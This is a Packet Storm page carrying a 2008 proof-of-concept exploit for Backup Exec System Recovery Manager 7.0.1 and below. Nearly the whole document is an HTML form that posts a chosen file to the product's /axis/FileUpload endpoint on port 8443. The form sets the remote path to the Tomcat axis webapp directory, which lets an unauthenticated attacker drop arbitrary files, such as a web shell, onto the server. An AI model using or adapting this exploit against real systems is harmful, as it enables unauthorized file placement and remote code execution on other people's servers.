Backup Exec System Recovery Manager versions 7.0.1 and below file upload proof of concept exploit.
ee1e884145bd69e458fc0939f1a4ccdf7815e2de211d2ce86ec7cc531ae21e68<?xml version="1.0"?>
<html xmlns="https://www.w3.org/1999/xhtml">
<head><title>File Upload POC</title></head>
<body>
<h2> Backup Exec System Recovery Manager 7.0<br>File Upload POC</h2>
<form action="https://<TARGET>:8443/axis/FileUpload" method="post"
enctype="multipart/form-data">
Remote Path: <input name="path" size="100" type="text"
value="C:\Program Files\Symantec\Backup Exec System
Recovery\Manager\Services\tomcat\WebApps\axis"/><br/>
File to upload: <input name="log_file" type="file"/><br/>
<hr/>
<p><input type="submit"/><input type="reset"/></p>
</form>
(c)BastardLabs 2008.
</body>
</html>
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed